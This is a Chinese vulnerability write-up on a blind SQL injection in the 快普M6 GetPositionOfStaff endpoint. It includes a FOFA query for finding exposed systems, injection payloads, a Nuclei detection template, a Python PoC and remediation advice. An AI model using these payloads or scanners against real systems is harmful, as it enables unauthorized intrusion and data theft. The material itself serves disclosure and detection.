快普M6 GetPositionOfStaff接口SQL注入漏洞分析

快普M6 GetPositionOfStaff接口SQL注入漏洞分析

漏洞编号:待提交 发现日期:2026年3月18日 漏洞作者:wuyaoxuexi.cn


一、漏洞概述

快普M6是一款广泛应用于企业的管理系统。本次发现的SQL注入漏洞位于 GetPositionOfStaff 接口,攻击者可通过该漏洞执行恶意SQL语句,进而获取数据库中的敏感数据,甚至可能通过数据库写文件等方式getshell。

二、影响版本

  • 快普M6(全版本)

三、漏洞详情

项目 内容
漏洞类型 SQL注入(盲注)
漏洞位置 /WebService/StaffService.asmx/GetPositionOfStaff
请求方法 POST
参数名 sid

FOFA查询语句

body="Resource/JavaScript/jKPM6.DateTime.js"

四、漏洞复现

4.1 漏洞URL

POST /WebService/StaffService.asmx/GetPositionOfStaff
Content-Type: application/x-www-form-urlencoded

sid=1

4.2 POC – 盲注测试

POST /WebService/StaffService.asmx/GetPositionOfStaff
Content-Type: application/x-www-form-urlencoded

sid=1' AND 1=1--

响应正常

POST /WebService/StaffService.asmx/GetPositionOfStaff
Content-Type: application/x-www-form-urlencoded

sid=1' AND 1=2--

响应异常(与上面不同)

通过对比两次响应是否不同来判断漏洞是否存在

4.3 Nuclei检测POC

id: kupm6-sql-injection
info:
  name: 快普M6 GetPositionOfStaff SQL注入漏洞
  author: 南风漏洞复现文库
  severity: critical
  description: 快普M6 GetPositionOfStaff接口存在SQL注入漏洞
  reference:
    - https://mp.weixin.qq.com/s/Ju3JvUI3f7FQtB4iEgi4NA
  tags: sql injection,kupm6

requests:
  - method: POST
    path:
      - "{{BaseURL}}/WebService/StaffService.asmx/GetPositionOfStaff"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
      Content-Type: application/x-www-form-urlencoded
    body:
      - "sid=1' AND 1=1--"
      - "sid=1' AND 1=2--"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<?xml"
          - "GetPositionOfStaff"
        part: body
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && response_1 != response_2"
        condition: and

使用方法

nuclei -t kupm6-sql-injection.yaml -u http://target.com

4.4 Python POC

import requests

url = "http://target.com/WebService/StaffService.asmx/GetPositionOfStaff"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

# 盲注检测
payload1 = {"sid": "1' AND 1=1--"}
payload2 = {"sid": "1' AND 1=2--"}

r1 = requests.post(url, data=payload1, headers=headers)
r2 = requests.post(url, data=payload2, headers=headers)

if r1.text != r2.text:
    print("[+] 存在SQL注入漏洞")
else:
    print("[-] 未检测到漏洞")

五、漏洞危害

  • 数据库敏感数据泄露
  • 服务器敏感信息泄露
  • 可能通过 INTO OUTFILE 等方式getshell
  • 可能导致整个系统被攻击者控制

六、修复建议

  1. 打补丁:联系厂商获取最新安全更新
  2. 参数化查询:对所有用户输入使用预编译语句
  3. 输入过滤:严格过滤单引号、双引号等特殊字符
  4. 访问控制:限制接口访问来源,添加IP白名单
  5. 安全审计:定期进行安全测试

七、声明

本文仅供技术学习交流,请勿利用文中所述技术从事非法测试。利用本文提供的信息造成的一切后果由使用者本人承担,与本文作者无关。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容